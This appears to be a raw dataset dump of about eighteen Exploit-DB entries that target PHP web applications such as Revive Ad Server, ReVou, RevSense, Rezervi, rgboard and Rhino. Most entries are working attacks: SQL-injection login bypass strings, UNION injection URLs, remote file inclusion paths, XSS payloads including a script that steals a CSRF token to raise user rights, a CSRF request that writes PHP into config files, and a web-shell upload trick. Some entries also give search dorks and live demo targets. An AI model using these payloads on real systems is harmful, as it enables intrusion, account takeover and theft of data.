deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41939
Description: Revive Ad Server 4.0.1 - Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2017-04-26
Author: Cyril Vallicari

Exploit:
---------------------------------------------------------------
# Exploit Title: XSRF Stored Revive Ad Server 4.0.1
# Date: 24/04/2017
# Exploit Author: Cyril Vallicari / HTTPCS / ZIWIT
# Vendor Website : https://www.revive-adserver.com/
# Software download : https://www.revive-adserver.com/download/
# Version: 4.0.1
# Tested on: Windows 7 x64 SP1 / Kali Linux


Description :

A vulnerability has been discovered in Revive Ad Server, which can be
exploited by malicious people to conduct cross-site scripting attacks.
When you create a banner using Generic HTML Banner, input

passed via the 'htmltemplate' parameter to '/banner-edit.php' is not

properly sanitised before being returned to the user (This is probably
expected as it's an html banner). But, this can be exploited
to execute arbitrary HTML and script code in a user's browser session in
context of an affected site.


This XSS vector allow to execute scripts to gather the CSRF token

and submit a form to update user rights


Here's the script :

---------------------- Javascript-------------------------------

var tok = document.getElementsByName('token')[0].value;

var txt = '<form method="POST" id="hacked" action="agency-user.php">'
txt += '<input type="hidden" name="submit[]" value="1"/>'
txt += '<input type="hidden" name="token" value="' + tok + '"/>'
txt += '<input type="hidden" name="userid" value="2"/>'
txt += '<input type="hidden" name="email_address" value="test2@test.com"/>'
txt += '<input type="hidden" name="agencyid" value="1"/>'
txt += '<input type="hidden" name="permissions[]" value="10"/>'
txt += '</form>'

var d1 = document.getElementById('firstLevelContent');

d1.insertAdjacentHTML('afterend', txt);

document.getElementById("hacked").submit();


---------------------- Javascript End-------------------------------

(little trick to submit a form that has a "submit" parameter, just use a
list "submit[]")

This will update user rights and allow to manage accounts

POC video : https://www.youtube.com/watch?v=wFuN-ADlJpM

Patch : No patch yet

---------------------------------------------------------------
Exploit-DB #51401
Description: revive-adserver v5.4.1 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-05-02
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: revive-adserver v5.4.1 - Cross-Site Scripting (XSS)
Application: revive-adserver
Version: 5.4.1
Bugs:  XSS
Technology: PHP
Vendor URL: https://www.revive-adserver.com/
Software Link: https://www.revive-adserver.com/download/
Date of found: 31-03-2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 

1. Go to create banner
2. select the advanced section 
3. Write this payload in the prepend and append parameters (%3Cscript%3Ealert%281%29%3C%2Fscript%3E) 

POST /www/admin/banner-advanced.php HTTP/1.1
Host: localhost
Content-Length: 213
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/www/admin/banner-advanced.php?clientid=3&campaignid=2&bannerid=2
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: sessionID=5224583cf474cd32d2ef37171c4d7894
Connection: close

clientid=3&campaignid=2&bannerid=2&token=94c97eabe1ada8e7ae8f204e2ebf7180&prepend=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&append=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submitbutton=De%C4%9Fi%C5%9Fiklikleri+Kaydet



We are sending this link to the admin. then if admin clicks it will be exposed to xss

http://localhost/www/admin/banner-advanced.php?clientid=3&campaignid=2&bannerid=2
Exploit-DB #12726
Description: REvolution 10.02 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-05-24
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22367

Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_npds_revolution.html

Product: NPDS REvolution

Vendor: NPDS

Vulnerable Version: REvolution 10.02 and Probably Prior Versions Vendor
Notification: 06 May 2010 Vulnerability Type: CSRF (Cross-Site Request
Forgery)

Status: Fixed by Vendor

Risk level: Low

Credit: High-Tech Bridge SA (http://www.htbridge.ch/)



Vulnerability Details:

The vulnerability exists due to failure in the "admin.php" script to
properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise
of the application, theft of cookie-based authentication credentials,
disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is
available:


<img src="
http://host/admin.php?op=ConfigFiles_save&Xtxt=<?+phpinfo()+?>&Xfiles=footer_after&confirm=1<http://host/admin.php?op=ConfigFiles_save&Xtxt=%3c?+phpinfo()+?%3e&Xfiles=footer_after&confirm=1>
">


Solution: Upgrade to the most recent verison
Exploit-DB #10527
Description: ReVou Software - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-17
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
[?]
[~]Vendor:www.revou.com
[?]
[~]Software: ReVou
[?]
[?] author: ((R3d-D3v!L))
[?]
[?] Date: 18.dec.2009
[?] T!ME: 12:35 am
[?] Home: WwW.xP10.ME
[?]
[?] contact: X@hotmail.co.jp
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????


[?] Exploit:

[?] username  : x' or ' 1=1

[?] password  : x' or ' 1=1



[?]demo:


[?]https://server/home/



N073:
REAL RED DEV!L W@S h3r3 LAMERZ

GAZA !N our hearts !



[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}-----------------------------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 &#1616;ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #7531
Description: ReVou Twitter Clone - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-12-21
Author: S.W.A.T.

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: ReVou Twitter Clone Arbitrary File Upload Vulnerability
Version: All version
Vendor : http://www.revou.com/
Demo: http://www.revou.com/demo/
Author : S.W.A.T. , svvateam@yahoo.com
Vulnerability : wWw.BaTLaGH.CoM
---------------------------------------------------------
#########################################################
[Mime Check Bypass]:
Create A File Called name.php And Fill It As Below:
----------
GIF89aP;
[php_shell_code]
----------
Save This File !
----------
Go To "My photo" (link: http://www.revou.com/demo/settings/my_photo)

Select Your Shell & Upload !
----------
Done ! :-)
---------------------------------

# milw0rm.com [2008-12-21]
Exploit-DB #7270
Description: ReVou Twitter Clone - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-28
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
    
 [~]Vendor:www.revou.com
    
 [~]Software: ReVou Online
    
 [~]author: ((Ñ3d D3v!L))
    
 [~] Date: 28.11.2008
    
 [~] Home: www.ahacker.biz
    
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
    
    
 [~] Exploit:
    
     username: r0' or ' 1=1--
     password: r0' or ' 1=1--
    
    
 [~]login 4 d3m0:
    
     http://www.revou.com/demo/
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
     [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
     [~]
     [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
     [~]
     [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
     [~]
     [~] xp10.biz & ahacker.biz
     [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-28]
Exploit-DB #7925
Description: Revou Twitter Clone - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2009-01-30
Author: nuclear

Exploit:
#ReVou Micro Blogging SQL/XSS Injection Vulnerability


#Author: nuclear


#site:
http://www.revou.com/index.php


#SQL vuln:
http://localhost/[path]/user_updates.php?user=test21' UNION SELECT 1,2,3,4,@@version,6,7,8/*

#demo:
http://www.revou.com/demo/rss/user_updates.php?user=test21%27%20UNION%20SELECT%201,2,3,4,@@version,6,7,8/*


#XSS vuln:
POST /demo/profile/test HTTP/1.1
Host: www.revou.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://www.revou.com/demo/profile/test
Cookie: cookieid=c74884b47660610d8bbab35e0605f258; __utma=220[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]273058.1; __utmb=220501147; __utmc=220501147; __utmz=220[PII_REDACTED]273058.1.1.utmccn=(referral)|utmcsr=alstrasoft.com|utmcct=/products.htm|utmcmd=referral; PHPSESSID=02eb3297bbec0b429d06f5a083f55673
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]75822139
Content-Length: 598

----------------------------[PII_REDACTED][PII_REDACTED]75822139
Content-Disposition: form-data; name="message"

<script>alert("XSS")</script>
----------------------------[PII_REDACTED][PII_REDACTED]75822139
Content-Disposition: form-data; name="add_photo"; filename=""
Content-Type: application/octet-stream


----------------------------[PII_REDACTED][PII_REDACTED]75822139
Content-Disposition: form-data; name="user"

test
----------------------------[PII_REDACTED][PII_REDACTED]75822139
Content-Disposition: form-data; name="add_message"

Send
----------------------------[PII_REDACTED][PII_REDACTED]75822139--



#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar

# milw0rm.com [2009-01-30]
Exploit-DB #13752
Description: ReVou Twitter Clone 2.0 Beta - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-06
Author: Sid3^effects

Exploit:
# Title:reVou twitter clne Beta 2.0 sqli and Xss vulnerability
# Author: Sid3^effects
# Published: 2010-06-06
# price:$99
# email:shell_c99@yahoo.com
# vendor: Revou
# url : http://www.revou.com/demo/home

############################################################################
        ooooo  .oooooo.  oooooo   oooooo     oooo 
        `888' d8P'  `Y8b  `888.    `888.     .8' 
         888 888           `888.   .8888.   .8' 
         888 888            `888  .8'`888. .8' 
         888 888             `888.8'  `888.8'  
         888 `88b    ooo      `888'    `888' 
        o888o `Y8bood8P'       `8'      `8'    
                                          
-------------------------------------------------------------------------------------- 
#####################Sid3^effects aKa HaRi################################## 
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors] 
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L,CR4C|< 008,M4n0j,MaYuR 
#ShouTZ:kedar,dec0d3r,41.w4r10r
#spl shoutz:LiquidWorm,gunslinger_ :D      
#Catch us at www.andhrahackers.com or www.teamicw.in 
############################################################################ 
Description :
Existing site owners can benefit from running a micro blogging service resulting in more viral growth for your website when your users interact with follow
friends by receiving updates via our social network platform. With our SMS integration as well as custom API, we allow you to gain more revenues through
purchase of SMS credits, revenues from web advertisements and as well benefiting from 3rd party applications built for your site using our API.
 
ReVou Micro Blogging social networking script can use for any industries ranging from real estate, cooperate events, hobbyist websites or any social
networking sites which you can create a platform for your users to get updates or interact with each other.
 
############################################################################ 
Xploit : sqli vulnerability.

use ' or 1=1 or ''=' to login
Demo Url : http://server/path/
############################################################################
Xploit : xss  vulnerability
 Parameter Name: search friends or groups
 Parameter Type: Querystring  
 Attack Pattern: '"-->
         
############################################################################ 
#spl thks: exploit-db.com
#Sid3^effects
Exploit-DB #7163
Description: RevSense 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-19
Author: d3b4g

Exploit:
###############################################################################################
[-] RevSense v.1.0 (Auth bypass) SQL Injection Vulnerability
[+] Script home : http://www.revsense.com/
[-] Discovered By : d3b4g        
[-] Greetz : str0ke /* All my freind         
################################################################################################
 
 Dork:Powered by Revsense

 Go to www.target.com/index.php?section=user&action=login

 Use following information to bypass login.

 Write any email Address as email address.It must to be in email format.

 For exapmple bla@bla.com

 For password use ' or ' 1=1

 Live demo [at] http://demo.revsense.com/index.php?section=user&action=login
--------------------------------------------
--------------------------------------------
I'm a maldivian 
/*

# milw0rm.com [2008-11-19]
Exploit-DB #32641
Description: RevSense 1.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-04
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32624/info

RevSense is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

RevSense 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/?f%5Bemail%5D=test@mail.com&f%5Bpassword%5D=\"&section=user&action=login
http://www.example.com/?section=<ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&action=login&t=Pouya
http://www.example.com/index.php?section=<script>alert(1369)</script>&action=login
Exploit-DB #3763
Description: Rezervi 0.9 - 'root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-18
Author: GoLd_M

Exploit:
# Rezervi Generic 0.9(root)Remote File Include Vulnerablities
# D.Script: http://www.rezervi.com/www/german/download/rezerviGenericV0_9.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/templates/datumVonDatumBis.inc.php?root=Shell
# Exploit:[Path]/templates/footer.inc.php?root=Shell
# Exploit:[Path]/templates/header.inc.php?root=Shell
# Exploit:[Path]/templates/stylesheets.php?root=Shell
# Exploit:[Path]/belegungsplan/wochenuebersicht.inc.php?root=Shell
# Exploit:[Path]/belegungsplan/monatsuebersicht.inc.php?root=Shell
# Exploit:[Path]/belegungsplan/jahresuebersicht.inc.php?root=Shell
# Exploit:[Path]/belegungsplan/tagesuebersicht.inc.php?root=Shell
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# Thanx To : RootShell-Team.Info & Alkomandoz Hacker 

# milw0rm.com [2007-04-18]
Exploit-DB #10967
Description: Rezervi 3.0.2 - 'mail.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-01-03
Author: r00t.h4x0r

Exploit:
###############################################################
##     Rezervi <= 3.0.2 (mail.inc.php) RFI Vulnerablities    ##
##                  http://www.rezervi.com                   ##
###############################################################   



###############################################################
Discovered : r00t.h4x0r <r00t.h4x0r[!]hotmail.com>
Homepage   : !n y0ur m!nd
###############################################################
PoC r00t : 

[r00t.h4x0r]/include/mail.inc.php?root=[Shell]

###############################################################
9r33tz : cr4wl3r
###############################################################

#################### [ INDONESIAN HACKER ] ####################
Exploit-DB #4210
Description: RGameScript Pro - 'page.php?id' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-07-21
Author: Warpboy

Exploit:
#*/\*##*/\*##*/\*##*/\*##*/\*#
Web Application: RCMS-Pro
#*\/*##*\/*##*\/*##*\/*##*\/*#
Info: 
/////////////////////////////////////////////////////
Vulnerability: Remote File Inclusion
Vendor: http://www.rcms-pro.com/
Dork: "Powered by RGameScript"
Found By: Warpboy
E-Mail/MSNM: Warpboy1@yahoo.com
Website: http://private-node.net
Shouts: TimQ, Gammarayz, Paradox, z6, PunkerX and everyone else at pnode.
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
::PoC::

http://www.site.com/page.php?id=[shell]

******************************************
##############################
http://private-node.net
##############################
******************************************

# milw0rm.com [2007-07-21]
Exploit-DB #5620
Description: rgboard 3.0.12 - Remote File Inclusioni / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-14
Author: e.wiZz!

Exploit:
################################################
#    Rgboard 3.0.x  Multiple Vulnerabilities   #
#                  (RFI/XSS)                   #
################################################

/**/    Author::  e.wiZz!
 
/**/   Site::  www.balcanwarez.com 
 
/**/   Contact:: N/A :D
===========================================================
/**/   Script :: Rgboard
 
/**/   Vulnerable version :: 3.0.0/3.0.12

/**/ Not vulnerable :: 4.0 

/**/   Download :: www.rgboard.com
============================================================
 
[<Remote File Include>]

/**/ Vulnerable code,line 22:
\include\bbs.lib.inc.php

if (!defined(Гўв‚¬в„ўBBS_LIB_INC_INCLUDEDГўв‚¬в„ў)) {
define(Гўв‚¬в„ўBBS_LIB_INC_INCLUDEDГўв‚¬в„ў, 1);
// *start of include,eh?*

if(!$site_path) $site_path=Гўв‚¬в„ў./Гўв‚¬в„ў;
require_once Гўв‚¬Е“{$site_path}include/lib.inc.phpГўв‚¬Вќ;
//$site_path

/**/  Exploit:

http://www.target.com/include/bbs.lib.inc.php?site_path=evilthingg0ezhere
             

[<XSS>]

/**/  Almost every field is vulnerable to xss,example(rg_search.php):
 
/**/  Live demo:
   http://xxx.com/rgboard/rg_search.php?bbs_id=search&page_no=2&s_text=%22%3E%3Ca+href%3D%22http%3A%2F%2Fbalcanwarez.com%22%3E%3Ch1%3EOvdje nesto bezze upises,boli me kita :D%3C%2Fh1%3E%3C%2Fa%3E        

 
==============================================================
/**/  Thanx : QKrun1x,F34R,aluigi,Nuclear,aluigi,str0ke
 
/**/ PozdraF : deckima s elitesecurity.org i cyber-underground.org
===============================================================

# milw0rm.com [2008-05-14]
Exploit-DB #17457
Description: rgboard 4.2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2011-06-28
Author: hamt0ry

Exploit:
* Exploit Title: rgboard SQL Injection Vulnerability

* inurl: rgboard4/list.php

* Date: 2011. 6.22

* Author: hamt0ry (hamt0ry@163.com)

* Test on : Windowss XP SP3

* Software Link: http://v4.rgboard.com/rg4_board/down.php?&bbs_code=rgboard_pds&bd_num=1757&key=0&mode=down

* Version: rgboard 4.2.1

* SQL Injection
	
	http://[target]/list.php?bbs_code=notice[SQL]

* POC : http://site/list.php?bbs_code=notice'+and+1=2+union+select+1%2C2%2C3%2C4%2C1%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2Cdatabase()%2C(select%20concat(0x2f,unhex(Hex(cast(user()%20as%20char)))))%2C30%2C31%2C32%2C33%2C34%2C35%2C6%2C5%2C4%2C3%2C2%23
Exploit-DB #39099
Description: Rhino - Cross-Site Scripting / Password Reset
Type: webapps
Platform: php
Date: 2014-02-12
Author: Slotleet

Exploit:
source: https://www.securityfocus.com/bid/65628/info

Rhino is prone to a cross-site scripting vulnerability and security-bypass vulnerability .

An attacker can exploit these issues to execute arbitrary script code in the context of the vulnerable site, potentially allowing the attacker to steal cookie-based authentication credentials, bypass security restrictions to obtain sensitive information, or perform unauthorized actions. Other attacks may also be possible.

Rhino 4.1 is vulnerable; other versions may also be affected. 

==========================
PoC-Exploit
==========================

// Non-Persistent XSS  with "callback" Parameter in
/include/proactive_cross.php

(1) Under "callback" set your GET Parameter Callback to
"><script>alert(document.cookie)</script>

The Non-Persistent XSS will be executed for the Administrator in the
browser (he directly logged in because you chatting with him)

// Remote Change Password - with "Forgot.php"

http://[target]/rhino/operator/index.php?p=forgot

(1) in the forgot file there's no condition if the user logged in or not,
so we can look deeply in the file in line (27-67)

if ($_SERVER["REQUEST_METHOD"] == 'POST' && isset($_POST['newP'])) {
    $defaults = $_POST;

    $femail = filter_var($_POST['f_email'], FILTER_SANITIZE_EMAIL);
    $pass = $_POST['f_pass'];
    $newpass = $_POST['f_newpass'];

    if ($pass != $newpass) {
        $errors['e1'] = $tl['error']['e10'];
    } elseif (strlen($pass) <= '5') {
        $errors['e1'] = $tl['error']['e11'];
    }

    if ($defaults['f_email'] == '' || !filter_var($defaults['f_email'],
FILTER_VALIDATE_EMAIL)) {
        $errors['e'] = $tl['error']['e3'];
    }

    $fwhen = 0;

    $user_check = $lsuserlogin->lsForgotpassword($femail, $fwhen);
    if ($user_check == true && count($errors) == 0) {

    // The new password encrypt with hash_hmac
    $passcrypt = hash_hmac('sha256', $pass, DB_PASS_HASH);

    $result2 = $lsdb->query('UPDATE '.DB_PREFIX.'user SET password =
"'.$passcrypt.'", forgot = 0 WHERE email = "'.smartsql($femail).'"');

    $result = $lsdb->query('SELECT username FROM '.DB_PREFIX.'user WHERE
email = "'.smartsql($femail).'" LIMIT 1');
    $row = $result->fetch_assoc();

    if (!$result) {
        ls_redirect(JAK_PARSE_ERROR);
    } else {
        $lsuserlogin->lsLogin($row['username'], $pass, 0);
        ls_redirect(BASE_URL);
    }

    } else {
        $errorsf = $errors;
    }
}

So there is an MySQL Query to execute if the email in the database (Show up
the change password settings).

ALL YOU HAVE TO DO IS DISCOVER THE E-MAIL ADDRESS THAT PUTTED WHEN ADMIN
INSTALLED THE SCRIPT.